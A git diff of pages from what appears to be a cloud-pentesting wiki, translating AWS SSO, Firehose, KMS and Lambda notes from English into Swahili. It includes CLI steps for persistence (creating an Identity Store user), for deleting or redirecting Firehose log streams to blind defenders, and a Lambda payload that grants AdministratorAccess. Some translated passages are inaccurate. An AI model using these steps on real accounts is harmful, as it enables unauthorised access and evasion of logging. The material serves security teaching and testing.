in the folder **`$HOME/.aws/cli/cache`**. This cache directory is primarily used when you are **working with AWS CLI profiles** that use IAM user credentials or **assume** roles through IAM (without SSO). Config example: - +Zaidi ya hayo, **sifa zaidi** zinaweza kuhifadhiwa katika folda **`$HOME/.aws/cli/cache`**. Hii folda ya cache inatumika hasa unapokuwa **ukifanya kazi na AWS CLI profiles** ambazo zinatumia sifa za mtumiaji wa IAM au **kuchukua** majukumu kupitia IAM (bila SSO). Mfano wa usanidi: ```ini [profile crossaccountrole] role_arn = arn:aws:iam::234567890123:role/SomeRole @@ -364,43 +337,36 @@ source_profile = default mfa_serial = arn:aws:iam::123456789012:mfa/saanvi external_id = 123456 ``` - -### Unauthenticated Access +### Upatikanaji Usio na Uthibitisho {{#ref}} ../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md {{#endref}} -### Privilege Escalation +### Kuinua Mamlaka {{#ref}} ../aws-privilege-escalation/aws-sso-and-identitystore-privesc.md {{#endref}} -### Post Exploitation +### Baada ya Kutekeleza {{#ref}} ../aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md {{#endref}} -### Persistence - -#### Create a user an assign permissions to it +### Kudumu +#### Unda mtumiaji na mpe ruhusa kwake ```bash # Create user identitystore:CreateUser aws identitystore create-user --identity-store-id --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc ## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password ``` +- Unda kundi na uweke ruhusa na uweke mtumiaji anayedhibitiwa +- Toa ruhusa za ziada kwa mtumiaji au kundi lililodhibitiwa +- Kwa default, ni watumiaji pekee wenye ruhusa kutoka Akaunti ya Usimamizi watakaoweza kufikia na kudhibiti Kituo cha Utambulisho wa IAM. -- Create a group and assign it permissions and set on it a controlled user -- Give extra permissions to a controlled user or group -- By default, only users with permissions form the Management Account are going to be able to access and control the IAM Identity Center. - - However, it's possible via Delegate Administrator to allow users from a different account to manage it. They won't have exactly the same permission, but they will be able to perform [**management activities**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). +Hata hivyo, inawezekana kupitia Msimamizi wa Wawakilishi kuruhusu watumiaji kutoka akaunti tofauti kuisimamia. Hawa hawataweza kuwa na ruhusa sawa, lakini wataweza kufanya [**shughuli za usimamizi**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md index 6ca66b5ed..cfcad5c43 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md @@ -4,12 +4,11 @@ ## Kinesis Data Firehose -Amazon Kinesis Data Firehose is a **fully managed service** that facilitates the delivery of **real-time streaming data**. It supports a variety of destinations, including Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk, and custom HTTP endpoints. +Amazon Kinesis Data Firehose ni **huduma inayosimamiwa kikamilifu** inayorahisisha utoaji wa **data ya mtiririko wa wakati halisi**. Inasaidia maeneo mbalimbali, ikiwa ni pamoja na Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk, na mwisho wa HTTP wa kawaida. -The service alleviates the need for writing applications or managing resources by allowing data producers to be configured to forward data directly to Kinesis Data Firehose. This service is responsible for the **automatic delivery of data to the specified destination**. Additionally, Kinesis Data Firehose provides the option to **transform the data prior to its delivery**, enhancing its flexibility and applicability to various use cases. +Huduma hii inapunguza hitaji la kuandika programu au kusimamia rasilimali kwa kuruhusu wazalishaji wa data kuwekewa mipangilio ya kupeleka data moja kwa moja kwa Kinesis Data Firehose. Huduma hii inawajibika kwa **utoaji wa kiotomatiki wa data kwa eneo lililowekwa**. Zaidi ya hayo, Kinesis Data Firehose inatoa chaguo la **kubadilisha data kabla ya utoaji wake**, ikiongeza kubadilika kwake na matumizi yake kwa matumizi mbalimbali. ### Enumeration - ```bash # Get delivery streams aws firehose list-delivery-streams @@ -19,37 +18,26 @@ aws firehose describe-delivery-stream --delivery-stream-name ## Get roles aws firehose describe-delivery-stream --delivery-stream-name | grep -i RoleARN ``` - ## Post-exploitation / Defense Bypass -In case firehose is used to send logs or defense insights, using these functionalities an attacker could prevent it from working properly. +Ikiwa firehose inatumika kutuma kumbukumbu au maarifa ya ulinzi, kutumia hizi kazi mshambuliaji anaweza kuzuia kufanya kazi vizuri. ### firehose:DeleteDeliveryStream - ``` aws firehose delete-delivery-stream --delivery-stream-name --allow-force-delete ``` - ### firehose:UpdateDestination - ``` aws firehose update-destination --delivery-stream-name --current-delivery-stream-version-id --destination-id ``` - ### firehose:PutRecord | firehose:PutRecordBatch - ``` aws firehose put-record --delivery-stream-name my-stream --record '{"Data":"SGVsbG8gd29ybGQ="}' aws firehose put-record-batch --delivery-stream-name my-stream --records file://records.json ``` - -## References +## Marejeleo - [https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html](https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index 543ed31cd..dd94f12a6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -4,126 +4,123 @@ ## KMS - Key Management Service -AWS Key Management Service (AWS KMS) is presented as a managed service, simplifying the process for users to **create and manage customer master keys** (CMKs). These CMKs are integral in the encryption of user data. A notable feature of AWS KMS is that CMKs are predominantly **secured by hardware security modules** (HSMs), enhancing the protection of the encryption keys. +AWS Key Management Service (AWS KMS) inawasilishwa kama huduma inayosimamiwa, ikirahisisha mchakato kwa watumiaji ku **unda na kusimamia funguo za mteja** (CMKs). CMKs hizi ni muhimu katika usimbaji wa data za mtumiaji. Kipengele muhimu cha AWS KMS ni kwamba CMKs kwa kiasi kikubwa **zimehifadhiwa na moduli za usalama wa vifaa** (HSMs), zikiongeza ulinzi wa funguo za usimbaji. -KMS uses **symmetric cryptography**. This is used to **encrypt information as rest** (for example, inside a S3). If you need to **encrypt information in transit** you need to use something like **TLS**. +KMS inatumia **simbu ya usimbaji wa symmetrick**. Hii inatumika ku **simbua taarifa wakati wa kupumzika** (kwa mfano, ndani ya S3). Ikiwa unahitaji ku **simbua taarifa wakati wa usafiri** unahitaji kutumia kitu kama **TLS**. -KMS is a **region specific service**. +KMS ni **huduma maalum ya eneo**. -**Administrators at Amazon do not have access to your keys**. They cannot recover your keys and they do not help you with encryption of your keys. AWS simply administers the operating system and the underlying application it's up to us to administer our encryption keys and administer how those keys are used. +**Wasimamizi katika Amazon hawana ufikiaji wa funguo zako**. Hawawezi kurejesha funguo zako na hawawezi kukusaidia katika usimbaji wa funguo zako. AWS inasimamia tu mfumo wa uendeshaji na programu ya msingi, ni jukumu letu kusimamia funguo zetu za usimbaji na kusimamia jinsi funguo hizo zinavyotumika. -**Customer Master Keys** (CMK): Can encrypt data up to 4KB in size. They are typically used to create, encrypt, and decrypt the DEKs (Data Encryption Keys). Then the DEKs are used to encrypt the data. +**Funguo za Mteja Mkuu** (CMK): Zinaweza kusimbua data hadi ukubwa wa 4KB. Kwa kawaida hutumiwa kuunda, kusimbua, na kufungua DEKs (Funguo za Usimbaji wa Data). Kisha DEKs zinatumika kusimbua data. -A customer master key (CMK) is a logical representation of a master key in AWS KMS. In addition to the master key's identifiers and other metadata, including its creation date, description, and key state, a **CMK contains the key material which used to encrypt and decrypt data**. When you create a CMK, by default, AWS KMS generates the key material for that CMK. However, you can choose to create a CMK without key material and then import your own key material into that CMK. +Funguo ya mteja mkuu (CMK) ni uwakilishi wa kimantiki wa funguo kuu katika AWS KMS. Mbali na vitambulisho vya funguo kuu na metadata nyingine, ikiwa ni pamoja na tarehe ya kuundwa, maelezo, na hali ya funguo, **CMK ina nyenzo za funguo ambazo zilitumika kusimbua na kufungua data**. Unapounda CMK, kwa kawaida, AWS KMS inaunda nyenzo za funguo kwa CMK hiyo. Hata hivyo, unaweza kuchagua kuunda CMK bila nyenzo za funguo na kisha kuingiza nyenzo zako za funguo katika CMK hiyo. -There are 2 types of master keys: +Kuna aina 2 za funguo kuu: -- **AWS managed CMKs: Used by other services to encrypt data**. It's used by the service that created it in a region. They are created the first time you implement the encryption in that service. Rotates every 3 years and it's not possible to change it. -- **Customer manager CMKs**: Flexibility, rotation, configurable access and key policy. Enable and disable keys. +- **CMKs zinazodhibitiwa na AWS: Zinatumika na huduma nyingine kusimbua data**. Inatumika na huduma iliyoiunda katika eneo. Zinaundwa mara ya kwanza unapoanzisha usimbaji katika huduma hiyo. Inabadilishwa kila miaka 3 na haiwezekani kubadilishwa. +- **CMKs za Meneja wa Mteja**: Uwezo, kubadilisha, ufikiaji unaoweza kubadilishwa na sera ya funguo. Wezesha na uzuie funguo. -**Envelope Encryption** in the context of Key Management Service (KMS): Two-tier hierarchy system to **encrypt data with data key and then encrypt data key with master key**. +**Usimbaji wa Envelope** katika muktadha wa Huduma ya Usimamizi wa Funguo (KMS): Mfumo wa ngazi mbili ili **kusimbua data kwa funguo za data na kisha kusimbua funguo za data kwa funguo kuu**. -### Key Policies +### Sera za Funguo -These defines **who can use and access a key in KMS**. +Hizi zinaelezea **nani anaweza kutumia na kufikia funguo katika KMS**. -By **default:** +Kwa **kawaida:** -- It gives the **IAM of the** **AWS account that owns the KMS key access** to manage the access to the KMS key via IAM. +- Inatoa **IAM ya** **akaunti ya AWS inayomiliki funguo za KMS ufikiaji** wa kusimamia ufikiaji wa funguo za KMS kupitia IAM. - Unlike other AWS resource policies, a AWS **KMS key policy does not automatically give permission any of the principals of the account**. To give permission to account administrators, the **key policy must include an explicit statement** that provides this permission, like this one. +Tofauti na sera nyingine za rasilimali za AWS, sera ya **funguo za AWS KMS haipatii ruhusa moja kwa moja yeyote wa wakuu wa akaunti**. Ili kutoa ruhusa kwa wasimamizi wa akaunti, **sera ya funguo lazima iwe na taarifa wazi** inayotoa ruhusa hii, kama hii. - - Without allowing the account(`"AWS": "arn:aws:iam::111122223333:root"`) IAM permissions won't work. +- Bila kuruhusu akaunti (`"AWS": "arn:aws:iam::111122223333:root"`) ruhusa za IAM hazitafanya kazi. -- It **allows the account to use IAM policies** to allow access to the KMS key, in addition to the key policy. +- In **aruhusu akaunti kutumia sera za IAM** kuruhusu ufikiaji wa funguo za KMS, pamoja na sera ya funguo. - **Without this permission, IAM policies that allow access to the key are ineffective**, although IAM policies that deny access to the key are still effective. +**Bila ruhusa hii, sera za IAM zinazoruhusu ufikiaji wa funguo hazifanyi kazi**, ingawa sera za IAM zinazokataa ufikiaji wa funguo bado zinafanya kazi. -- It **reduces the risk of the key becoming unmanageable** by giving access control permission to the account administrators, including the account root user, which cannot be deleted. - -**Default policy** example: +- In **punguza hatari ya funguo kuwa ngumu kusimamia** kwa kutoa ruhusa ya udhibiti wa ufikiaji kwa wasimamizi wa akaunti, ikiwa ni pamoja na mtumiaji wa mizizi wa akaunti, ambaye cannot kufutwa. +**Mfano wa sera ya kawaida**: ```json { - "Sid": "Enable IAM policies", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::111122223333:root" - }, - "Action": "kms:*", - "Resource": "*" +"Sid": "Enable IAM policies", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::111122223333:root" +}, +"Action": "kms:*", +"Resource": "*" } ``` - > [!WARNING] -> If the **account is allowed** (`"arn:aws:iam::111122223333:root"`) a **principal** from the account **will still need IAM permissions** to use the KMS key. However, if the **ARN** of a role for example is **specifically allowed** in the **Key Policy**, that role **doesn't need IAM permissions**. +> Ikiwa **akaunti inaruhusiwa** (`"arn:aws:iam::111122223333:root"`), **mwanachama** kutoka kwenye akaunti **bado atahitaji ruhusa za IAM** kutumia funguo za KMS. Hata hivyo, ikiwa **ARN** ya jukumu kwa mfano inaruhusiwa **hasa** katika **Sera ya Funguo**, jukumu hilo **halihitaji ruhusa za IAM**.
-Policy Details +Maelezo ya Sera -Properties of a policy: +Mali za sera: -- JSON based document -- Resource --> Affected resources (can be "\*") -- Action --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (permissions) -- Effect --> Allow/Deny -- Principal --> arn affected -- Conditions (optional) --> Condition to give the permissions +- Hati inayotegemea JSON +- Rasilimali --> Rasilimali zilizoathiriwa (zinaweza kuwa "\*") +- Kitendo --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (ruhusa) +- Athari --> Ruhusu/Kataa +- Mwanachama --> arn aliyeathiriwa +- Masharti (hiari) --> Masharti ya kutoa ruhusa -Grants: +Ruhusa: -- Allow to delegate your permissions to another AWS principal within your AWS account. You need to create them using the AWS KMS APIs. It can be indicated the CMK identifier, the grantee principal and the required level of opoeration (Decrypt, Encrypt, GenerateDataKey...) -- After the grant is created a GrantToken and a GratID are issued +- Ruhusu kuhamasisha ruhusa zako kwa mwanachama mwingine wa AWS ndani ya akaunti yako ya AWS. Unahitaji kuziunda kwa kutumia APIs za AWS KMS. Inaweza kuonyeshwa kitambulisho cha CMK, mwanachama wa ruhusa na kiwango kinachohitajika cha operesheni (Decrypt, Encrypt, GenerateDataKey...) +- Baada ya ruhusa kuundwa, GrantToken na GrantID zinatolewa -**Access**: +**Upatikanaji**: -- Via **key policy** -- If this exist, this takes **precedent** over the IAM policy -- Via **IAM policy** -- Via **grants** +- Kupitia **sera ya funguo** -- Ikiwa hii ipo, hii inachukua **kipaumbele** juu ya sera ya IAM +- Kupitia **sera ya IAM** +- Kupitia **ruhusa**
-### Key Administrators +### Wasimamizi wa Funguo -Key administrator by default: +Wasimamizi wa funguo kwa default: -- Have access to manage KMS but not to encrypt or decrypt data -- Only IAM users and roles can be added to Key Administrators list (not groups) -- If external CMK is used, Key Administrators have the permission to import key material +- Wana upatikanaji wa kusimamia KMS lakini si kuandika au kufungua data +- Watumiaji wa IAM na majukumu pekee wanaweza kuongezwa kwenye orodha ya Wasimamizi wa Funguo (sio vikundi) +- Ikiwa CMK ya nje inatumika, Wasimamizi wa Funguo wana ruhusa ya kuingiza vifaa vya funguo -### Rotation of CMKs +### Mzunguko wa CMKs -- The longer the same key is left in place, the more data is encrypted with that key, and if that key is breached, then the wider the blast area of data is at risk. In addition to this, the longer the key is active, the probability of it being breached increases. -- **KMS rotate customer keys every 365 days** (or you can perform the process manually whenever you want) and **keys managed by AWS every 3 years** and this time it cannot be changed. -- **Older keys are retained** to decrypt data that was encrypted prior to the rotation -- In a break, rotating the key won't remove the threat as it will be possible to decrypt all the data encrypted with the compromised key. However, the **new data will be encrypted with the new key**. -- If **CMK** is in state of **disabled** or **pending** **deletion**, KMS will **not perform a key rotation** until the CMK is re-enabled or deletion is cancelled. +- Kadri funguo hiyo hiyo inavyoachwa mahali, ndivyo data zaidi inavyoandikwa kwa funguo hiyo, na ikiwa funguo hiyo itavunjwa, basi eneo kubwa la data liko hatarini. Mbali na hili, kadri funguo hiyo inavyokuwa hai, uwezekano wa kuathiriwa unakua. +- **KMS inageuza funguo za wateja kila siku 365** (au unaweza kufanya mchakato huu kwa mikono wakati wowote unapotaka) na **funguo zinazodhibitiwa na AWS kila miaka 3** na wakati huu haiwezi kubadilishwa. +- **Funguo za zamani zinahifadhiwa** kufungua data ambayo ilandikwa kabla ya mzunguko +- Katika kuvunjika, kugeuza funguo hakutafuta tishio kwani itakuwa inawezekana kufungua data yote iliyoandikwa kwa funguo iliyovunjika. Hata hivyo, **data mpya itandikwa kwa funguo mpya**. +- Ikiwa **CMK** iko katika hali ya **kuzuiliwa** au **inasubiri** **kuondolewa**, KMS **haitafanya mzunguko wa funguo** hadi CMK irejeshwe au kuondolewa kukataliwa. -#### Manual rotation +#### Mzunguko wa Mikono -- A **new CMK needs to be created**, then, a new CMK-ID is created, so you will need to **update** any **application** to **reference** the new CMK-ID. -- To do this process easier you can **use aliases to refer to a key-id** and then just update the key the alias is referring to. -- You need to **keep old keys to decrypt old files** encrypted with it. +- **CMK mpya inahitaji kuundwa**, kisha, CMK-ID mpya inaundwa, hivyo utahitaji **kusasisha** programu yoyote ili **kuashiria** CMK-ID mpya. +- Ili kufanya mchakato huu kuwa rahisi unaweza **kutumia majina ya utambulisho kuashiria kitambulisho cha funguo** na kisha tu sasisha funguo ambayo jina la utambulisho linarejelea. +- Unahitaji **kuhifadhi funguo za zamani kufungua faili za zamani** zilizandikwa kwa hiyo. -You can import keys from your on-premises key infrastructure . +Unaweza kuingiza funguo kutoka kwenye miundombinu yako ya funguo ya ndani. -### Other relevant KMS information +### Taarifa nyingine muhimu za KMS -KMS is priced per number of encryption/decryption requests received from all services per month. +KMS inatozwa kulingana na idadi ya maombi ya kuandika/kufungua yaliyopokelewa kutoka kwa huduma zote kwa mwezi. -KMS has full audit and compliance **integration with CloudTrail**; this is where you can audit all changes performed on KMS. +KMS ina ukaguzi kamili na **ujumuishaji wa kufuata na CloudTrail**; hapa ndipo unaweza kukagua mabadiliko yote yaliyofanywa kwenye KMS. -With KMS policy you can do the following: +Kwa sera ya KMS unaweza kufanya yafuatayo: -- Limit who can create data keys and which services have access to use these keys -- Limit systems access to encrypt only, decrypt only or both -- Define to enable systems to access keys across regions (although it is not recommended as a failure in the region hosting KMS will affect availability of systems in other regions). +- Punguza nani anaweza kuunda funguo za data na ni huduma zipi zina upatikanaji wa kutumia funguo hizi +- Punguza upatikanaji wa mifumo kuandika tu, kufungua tu au zote mbili +- Mwelekeo wa kuwezesha mifumo kupata funguo katika maeneo tofauti (ingawa haipendekezwi kwani kushindwa katika eneo linalohifadhi KMS kutahathiri upatikanaji wa mifumo katika maeneo mengine). -You cannot synchronize or move/copy keys across regions; you can only define rules to allow access across region. - -### Enumeration +Huwezi kuunganisha au kuhamasisha/kukopi funguo kati ya maeneo; unaweza tu kufafanua sheria za kuruhusu upatikanaji kati ya eneo. +### Uainishaji ```bash aws kms list-keys aws kms list-key-policies --key-id @@ -132,7 +129,6 @@ aws kms describe-key --key-id aws kms get-key-policy --key-id --policy-name # Default policy name is "default" aws kms describe-custom-key-stores ``` - ### Privesc {{#ref}} @@ -151,12 +147,8 @@ aws kms describe-custom-key-stores ../aws-persistence/aws-kms-persistence.md {{#endref}} -## References +## Marejeo - [https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html](https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 03fa1aac8..5f6217758 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -4,59 +4,58 @@ ## Lambda -Amazon Web Services (AWS) Lambda is described as a **compute service** that enables the execution of code without the necessity for server provision or management. It is characterized by its ability to **automatically handle resource allocation** needed for code execution, ensuring features like high availability, scalability, and security. A significant aspect of Lambda is its pricing model, where **charges are based solely on the compute time utilized**, eliminating the need for initial investments or long-term obligations. +Amazon Web Services (AWS) Lambda inafafanuliwa kama **huduma ya kompyuta** inayowezesha utekelezaji wa msimbo bila haja ya usambazaji au usimamizi wa seva. Inajulikana kwa uwezo wake wa **kushughulikia kiotomatiki ugawaji wa rasilimali** zinazohitajika kwa utekelezaji wa msimbo, kuhakikisha vipengele kama upatikanaji wa juu, kupanuka, na usalama. Kipengele muhimu cha Lambda ni mfano wake wa bei, ambapo **malipo yanategemea tu muda wa kompyuta ulio tumika**, kuondoa haja ya uwekezaji wa awali au wajibu wa muda mrefu. -To call a lambda it's possible to call it as **frequently as you wants** (with Cloudwatch), **expose** an **URL** endpoint and call it, call it via **API Gateway** or even based on **events** such as **changes** to data in a **S3** bucket or updates to a **DynamoDB** table. +Ili kuita lambda inawezekana kuikuta **mara kwa mara unavyotaka** (na Cloudwatch), **kuweka wazi** **URL** ya mwisho na kuikuta, kuita kupitia **API Gateway** au hata kulingana na **matukio** kama **mabadiliko** ya data katika **S3** bucket au masasisho kwa **DynamoDB** table. -The **code** of a lambda is stored in **`/var/task`**. +**Msimbo** wa lambda uhifadhiwa katika **`/var/task`**. ### Lambda Aliases Weights -A Lambda can have **several versions**.\ -And it can have **more than 1** version exposed via **aliases**. The **weights** of **each** of the **versions** exposed inside and alias will decide **which alias receive the invocation** (it can be 90%-10% for example).\ -If the code of **one** of the aliases is **vulnerable** you can send **requests until the vulnerable** versions receives the exploit. +Lambda inaweza kuwa na **matoleo kadhaa**.\ +Na inaweza kuwa na **zaidi ya 1** toleo lililo wazi kupitia **aliases**. **Uzito** wa **kila** moja ya **matoleo** yaliyo wazi ndani ya alias utaamua **ni ipi alias itakayopokea mwito** (inaweza kuwa 90%-10% kwa mfano).\ +Ikiwa msimbo wa **moja** ya aliases ni **dhaifu** unaweza kutuma **maombi hadi toleo dhaifu** lipokee shambulio. ![](<../../../images/image (223).png>) ### Resource Policies -Lambda resource policies allow to **give access to other services/accounts to invoke** the lambda for example.\ -For example this is the policy to allow **anyone to access a lambda exposed via URL**: +Sera za rasilimali za Lambda zinaruhusu **kutoa ufikiaji kwa huduma/akaunti nyingine ili kuitisha** lambda kwa mfano.\ +Kwa mfano hii ni sera ya kuruhusu **mtu yeyote kufikia lambda iliyo wazi kupitia URL**:
-Or this to allow an API Gateway to invoke it: +Au hii kuruhusu API Gateway kuitisha:
### Lambda Database Proxies -When there are **hundreds** of **concurrent lambda requests**, if each of them need to **connect and close a connection to a database**, it's just not going to work (lambdas are stateless, cannot maintain connections open).\ -Then, if your **Lambda functions interact with RDS Proxy instead** of your database instance. It handles the connection pooling necessary for scaling many simultaneous connections created by concurrent Lambda functions. This allows your Lambda applications to **reuse existing connections**, rather than creating new connections for every function invocation. +Wakati kuna **mamia** ya **maombi ya lambda yanayoendelea**, ikiwa kila moja inahitaji **kuunganisha na kufunga muunganisho na hifadhidata**, haitafanya kazi (lambdas hazina hali, haiwezi kudumisha muunganisho wazi).\ +Basi, ikiwa **Lambda functions zako zinashirikiana na RDS Proxy badala** ya mfano wako wa hifadhidata. Inashughulikia usimamizi wa muunganisho unaohitajika kwa kupanua muunganisho mengi yanayoendelea yaliyoundwa na kazi za Lambda zinazofanyika kwa wakati mmoja. Hii inaruhusu programu zako za Lambda **kutumia muunganisho uliopo**, badala ya kuunda muunganisho mpya kwa kila mwito wa kazi. ### Lambda EFS Filesystems -To preserve and even share data **Lambdas can access EFS and mount them**, so Lambda will be able to read and write from it. +Ili kuhifadhi na hata kushiriki data **Lambdas zinaweza kufikia EFS na kuziunganisha**, hivyo Lambda itakuwa na uwezo wa kusoma na kuandika kutoka kwake. ### Lambda Layers -A Lambda _layer_ is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files. +Layer ya Lambda ni archive ya faili .zip ambayo **inaweza kuwa na msimbo wa ziada** au maudhui mengine. Layer inaweza kuwa na maktaba, [runtime maalum](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, au faili za usanidi. -It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment. +Inawezekana kujumuisha hadi **layers tano kwa kazi**. Unapojumuisha layer katika kazi, **maudhui yanachukuliwa kwenye saraka ya `/opt`** katika mazingira ya utekelezaji. -By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version. +Kwa **default**, **layers** unazounda ni **binafsi** kwa akaunti yako ya AWS. Unaweza kuchagua **kushiriki** layer na akaunti nyingine au **kufanya** layer hiyo **kuwa ya umma**. Ikiwa kazi zako zinatumia layer ambayo akaunti tofauti ilichapisha, kazi zako zinaweza **kuendelea kutumia toleo la layer baada ya kufutwa, au baada ya ruhusa yako ya kufikia layer hiyo kufutwa**. Hata hivyo, huwezi kuunda kazi mpya au kusasisha kazi ukitumia toleo la layer lililofutwa. -Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image. +Kazi zilizowekwa kama picha ya kontena hazitumii layers. Badala yake, unapakua runtime unayopendelea, maktaba, na utegemezi mwingine ndani ya picha ya kontena unapojenga picha hiyo. ### Lambda Extensions -Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**. +Lambda extensions huongeza kazi kwa kuungana na zana mbalimbali za **uangalizi, ufuatiliaji, usalama, na usimamizi**. Extensions hizi, zinazoongezwa kupitia [.zip archives kwa kutumia layers za Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) au kujumuishwa katika [uzinduzi wa picha za kontena](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), zinafanya kazi katika hali mbili: **ndani** na **nje**. -- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**. -- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**. +- **Extensions za ndani** huungana na mchakato wa runtime, zikibadilisha uzinduzi wake kwa kutumia **mabadiliko ya mazingira maalum ya lugha** na **scripts za wrapper**. Uboreshaji huu unatumika kwa aina mbalimbali za runtimes, ikiwa ni pamoja na **Java Correto 8 na 11, Node.js 10 na 12, na .NET Core 3.1**. +- **Extensions za nje** zinafanya kazi kama michakato tofauti, zikidumisha uendeshaji unaolingana na mzunguko wa maisha wa kazi ya Lambda. Zinapatikana kwa runtimes mbalimbali kama **Node.js 10 na 12, Python 3.7 na 3.8, Ruby 2.5 na 2.7, Java Corretto 8 na 11, .NET Core 3.1**, na **runtimes maalum**. ### Enumeration - ```bash aws lambda get-account-settings @@ -93,11 +92,9 @@ aws lambda list-event-source-mappings aws lambda list-code-signing-configs aws lambda list-functions-by-code-signing-config --code-signing-config-arn ``` +### Itisha lambda -### Invoke a lambda - -#### Manual - +#### Kawaida ```bash # Invoke function aws lambda invoke --function-name FUNCTION_NAME /tmp/out @@ -106,83 +103,70 @@ aws lambda invoke --function-name FUNCTION_NAME /tmp/out ## user_name = event['user_name'] aws lambda invoke --function-name --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess], "user_name": "sdf"}' out.txt ``` - -#### Via exposed URL - +#### Kupitia URL iliyo wazi ```bash aws lambda list-function-url-configs --function-name #Get lambda URL aws lambda get-function-url-config --function-name #Get lambda URL ``` - #### Call Lambda function via URL -Now it's time to find out possible lambda functions to execute: - +Sasa ni wakati wa kugundua kazi za lambda zinazoweza kutekelezwa: ``` aws --region us-west-2 --profile level6 lambda list-functions ``` - ![](<../../../images/image (262).png>) -A lambda function called "Level6" is available. Lets find out how to call it: - +Kazi ya lambda inayoitwa "Level6" inapatikana. Hebu tuone jinsi ya kuitumia: ```bash aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 ``` - ![](<../../../images/image (102).png>) -Now, that you know the name and the ID you can get the Name: - +Sasa, kwamba unajua jina na ID unaweza kupata Jina: ```bash aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75" ``` - ![](<../../../images/image (237).png>) -And finally call the function accessing (notice that the ID, Name and function-name appears in the URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) +Na hatimaye piga simu kwa kazi ikifikiwa (angalia kwamba ID, Jina na jina la kazi vinatokea kwenye URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) `URL:`**`https://.execute-api..amazonaws.com//`** -#### Other Triggers +#### Vichocheo Vingine -There are a lot of other sources that can trigger a lambda +Kuna vyanzo vingi vingine vinavyoweza kuchochea lambda
